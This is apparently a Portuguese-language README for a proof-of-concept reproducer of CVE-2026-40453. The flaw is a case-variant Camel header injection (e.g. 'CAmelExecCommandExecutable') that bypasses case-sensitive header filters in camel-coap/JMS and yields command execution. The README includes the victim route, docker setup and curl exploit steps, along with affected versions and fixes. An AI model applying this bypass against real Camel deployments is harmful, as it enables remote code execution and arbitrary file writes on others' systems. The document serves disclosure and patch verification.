
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
Este projeto demonstra CVE-2026-40453 — uma correção incompleta para CVE-2025-27636. A correção de 2025 adicionou setLowerCase(true) ao HttpHeaderFilterStrategy para que nomes de cabeçalho com variação de caixa (ex.: CAmelExecCommandExecutable) sejam filtrados junto com o canônico CamelExecCommandExecutable. A mesma chamada não foi aplicada a cinco implementações de HeaderFilterStrategy não-HTTP (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), que filtram de forma sensível a caixa enquanto o Camel Exchange armazena cabeçalhos em um mapa insensível a caixa. Um atacante pode, portanto, injetar um cabeçalho de controle Camel* com variação de caixa que ignora o filtro, mas ainda é resolvido por componentes downstream (camel-exec, camel-file, ...) sob seu nome canônico → execução remota de código / escrita arbitrária de arquivo.
Este reprodutor demonstra a bypass com camel-coap (autocontido, sem broker externo); a mesma falha afeta as estratégias JMS/SJMS/Google-Pubsub.
Advisory: https://camel.apache.org/security/CVE-2026-40453.html
CoAPHeaderFilterStrategy (versão afetada) filtra Camel* de forma sensível a caixa:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
Quando uma requisição CoAP chega, CamelCoapResource.handleRequest() mapeia cada parâmetro de consulta URI para os cabeçalhos Exchange In, controlado por strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable — startsWith("Camel") é true → filtrado.CAmelExecCommandExecutable — startsWith("Camel") é false (CAm ≠ Cam) → não filtrado.O mapa de cabeçalhos Exchange é insensível a caixa, então o cabeçalho com variação de caixa é posteriormente resolvido pelo produtor exec sob seu nome canônico CamelExecCommandExecutable, substituindo o comando.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Atualize para 4.14.6 / 4.18.2 / 4.20.0. A correção (CAMEL-23313) adiciona setLowerCase(true) às cinco implementações não-HTTP de HeaderFilterStrategy para que nomes Camel* com variação de caixa também sejam filtrados.
Até a atualização:
HeaderFilterStrategy personalizado com setLowerCase(true), ou removeHeaders com um padrão insensível a caixa.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.
| Propriedade | Valor |
|---|
| Componentes | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (este PoC utiliza camel-coap) |
| Classes Afetadas | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Causa raiz | Filtragem sensível a caixa startsWith("Camel"/"camel") (faltando setLowerCase(true)) versus um mapa de cabeçalhos Exchange insensível a caixa |
| CWE | CWE-20 (Validação de Entrada Incorreta) — injeção de cabeçalho de mensagem |
| Impacto | RCE / escrita arbitrária de arquivo via produtores orientados por cabeçalho |
| Versões Afetadas | De 3.0.0 antes de 4.14.6, de 4.15.0 antes de 4.18.2, de 4.19.0 antes de 4.20.0 |
| Versões Corrigidas | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (completa a correção para CVE-2025-27636) |
| Reporter | Saroj Khadka |